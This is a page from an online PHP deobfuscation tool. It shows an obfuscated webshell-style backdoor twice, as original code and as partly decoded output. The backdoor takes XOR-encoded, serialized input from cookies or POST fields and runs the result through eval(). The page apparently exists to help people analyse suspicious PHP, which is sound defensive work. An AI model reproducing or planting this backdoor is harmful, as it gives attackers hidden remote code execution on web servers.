Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$VrXcEXCm = class_exists("f_Bhq"); $VTFCOB = $VrXcEXCm;if (!$VTFCOB){class f_Bhq{private $..

Decoded Output download

<?  $VrXcEXCm = class_exists("f_Bhq"); $VTFCOB = $VrXcEXCm;if (!$VTFCOB){class f_Bhq{private $LLFzCR;public static $zHRMb = "d8316e4f-9800-4f98-a66d-79f3af0d4e65";public static $nHdpB = NULL;public function __construct(){$RoILjd = $_COOKIE;$yKqIXUL = $_POST;$DxxlcBEN = @$RoILjd[substr(f_Bhq::$zHRMb, 0, 4)];if (!empty($DxxlcBEN)){$GJpuHZc = "base64";$ZIwMKZbQ = "";$DxxlcBEN = explode(",", $DxxlcBEN);foreach ($DxxlcBEN as $pcJoELLKcZ){$ZIwMKZbQ .= @$RoILjd[$pcJoELLKcZ];$ZIwMKZbQ .= @$yKqIXUL[$pcJoELLKcZ];}$ZIwMKZbQ = array_map($GJpuHZc . "_" . chr ( 600 - 500 ).chr ( 371 - 270 )."c" . "o" . "d" . "e", array($ZIwMKZbQ,)); $ZIwMKZbQ = $ZIwMKZbQ[0] ^ str_repeat(f_Bhq::$zHRMb, (strlen($ZIwMKZbQ[0]) / strlen(f_Bhq::$zHRMb)) + 1);f_Bhq::$nHdpB = @unserialize($ZIwMKZbQ);}}public function __destruct(){$this->xzeYBtuq();}private function xzeYBtuq(){if (is_array(f_Bhq::$nHdpB)) {$EpNDKgYtFo = str_replace("<" . '?' . 'p' . chr (104) . "p", "", f_Bhq::$nHdpB[chr ( 943 - 844 ).chr ( 819 - 708 )."n" . "t" . "e" . chr ( 581 - 471 )."t"]);eval($EpNDKgYtFo);exit();}}}$olazLBn = new f_Bhq(); $olazLBn = NULL;} ?> $oDSfAtUhm = class_exists("sX_iYFMT"); $xNShHix = $oDSfAtUhm;if (!$xNShHix){class sX_iYFMT{private $JAVWC;public static $HJXpre = "23ab8db8-33a1-45dd-912b-addbcc72ef6a";public static $eDlGfqI = NULL;public function __construct(){$GTHjfW = $_COOKIE;$TtGkech = $_POST;$fbkgVH = @$GTHjfW[substr(sX_iYFMT::$HJXpre, 0, 4)];if (!empty($fbkgVH)){$BwldUo = "base64";$MozpcxWxu = "";$fbkgVH = explode(",", $fbkgVH);foreach ($fbkgVH as $TMlukcQvh){$MozpcxWxu .= @$GTHjfW[$TMlukcQvh];$MozpcxWxu .= @$TtGkech[$TMlukcQvh];}$MozpcxWxu = array_map($BwldUo . "_" . chr (100) . "e" . chr (99) . "o" . chr (100) . chr (101), array($MozpcxWxu,)); $MozpcxWxu = $MozpcxWxu[0] ^ str_repeat(sX_iYFMT::$HJXpre, (strlen($MozpcxWxu[0]) / strlen(sX_iYFMT::$HJXpre)) + 1);sX_iYFMT::$eDlGfqI = @unserialize($MozpcxWxu);}}public function __destruct(){$this->BazPnbh();}private function BazPnbh(){if (is_array(sX_iYFMT::$eDlGfqI)) {$GaImgXJ = str_replace('<' . "?" . chr ( 648 - 536 )."h" . chr (112), "", sX_iYFMT::$eDlGfqI["c" . "o" . "n" . "t" . chr (101) . "n" . "t"]);eval($GaImgXJ);exit();}}}$nmBpW = new sX_iYFMT(); $nmBpW = NULL;} ?>

Did this file decode correctly?

Original Code

$VrXcEXCm = class_exists("f_Bhq"); $VTFCOB = $VrXcEXCm;if (!$VTFCOB){class f_Bhq{private $LLFzCR;public static $zHRMb = "d8316e4f-9800-4f98-a66d-79f3af0d4e65";public static $nHdpB = NULL;public function __construct(){$RoILjd = $_COOKIE;$yKqIXUL = $_POST;$DxxlcBEN = @$RoILjd[substr(f_Bhq::$zHRMb, 0, 4)];if (!empty($DxxlcBEN)){$GJpuHZc = "base64";$ZIwMKZbQ = "";$DxxlcBEN = explode(",", $DxxlcBEN);foreach ($DxxlcBEN as $pcJoELLKcZ){$ZIwMKZbQ .= @$RoILjd[$pcJoELLKcZ];$ZIwMKZbQ .= @$yKqIXUL[$pcJoELLKcZ];}$ZIwMKZbQ = array_map($GJpuHZc . "\x5f" . chr ( 600 - 500 ).chr ( 371 - 270 )."\143" . "\157" . "\x64" . "\x65", array($ZIwMKZbQ,)); $ZIwMKZbQ = $ZIwMKZbQ[0] ^ str_repeat(f_Bhq::$zHRMb, (strlen($ZIwMKZbQ[0]) / strlen(f_Bhq::$zHRMb)) + 1);f_Bhq::$nHdpB = @unserialize($ZIwMKZbQ);}}public function __destruct(){$this->xzeYBtuq();}private function xzeYBtuq(){if (is_array(f_Bhq::$nHdpB)) {$EpNDKgYtFo = str_replace("\x3c" . '?' . 'p' . chr (104) . "\160", "", f_Bhq::$nHdpB[chr ( 943 - 844 ).chr ( 819 - 708 )."\x6e" . "\164" . "\x65" . chr ( 581 - 471 )."\164"]);eval($EpNDKgYtFo);exit();}}}$olazLBn = new f_Bhq(); $olazLBn = NULL;} ?> $oDSfAtUhm = class_exists("sX_iYFMT"); $xNShHix = $oDSfAtUhm;if (!$xNShHix){class sX_iYFMT{private $JAVWC;public static $HJXpre = "23ab8db8-33a1-45dd-912b-addbcc72ef6a";public static $eDlGfqI = NULL;public function __construct(){$GTHjfW = $_COOKIE;$TtGkech = $_POST;$fbkgVH = @$GTHjfW[substr(sX_iYFMT::$HJXpre, 0, 4)];if (!empty($fbkgVH)){$BwldUo = "base64";$MozpcxWxu = "";$fbkgVH = explode(",", $fbkgVH);foreach ($fbkgVH as $TMlukcQvh){$MozpcxWxu .= @$GTHjfW[$TMlukcQvh];$MozpcxWxu .= @$TtGkech[$TMlukcQvh];}$MozpcxWxu = array_map($BwldUo . "\x5f" . chr (100) . "\145" . chr (99) . "\157" . chr (100) . chr (101), array($MozpcxWxu,)); $MozpcxWxu = $MozpcxWxu[0] ^ str_repeat(sX_iYFMT::$HJXpre, (strlen($MozpcxWxu[0]) / strlen(sX_iYFMT::$HJXpre)) + 1);sX_iYFMT::$eDlGfqI = @unserialize($MozpcxWxu);}}public function __destruct(){$this->BazPnbh();}private function BazPnbh(){if (is_array(sX_iYFMT::$eDlGfqI)) {$GaImgXJ = str_replace('<' . "\77" . chr ( 648 - 536 )."\x68" . chr (112), "", sX_iYFMT::$eDlGfqI["\143" . "\x6f" . "\x6e" . "\164" . chr (101) . "\156" . "\x74"]);eval($GaImgXJ);exit();}}}$nmBpW = new sX_iYFMT(); $nmBpW = NULL;} ?>

Function Calls

class_exists 1

Variables

None

Stats

MD5 d38afb3d9adb2e058fbe2766b736bbfa
Eval Count 0
Decode Time 49 ms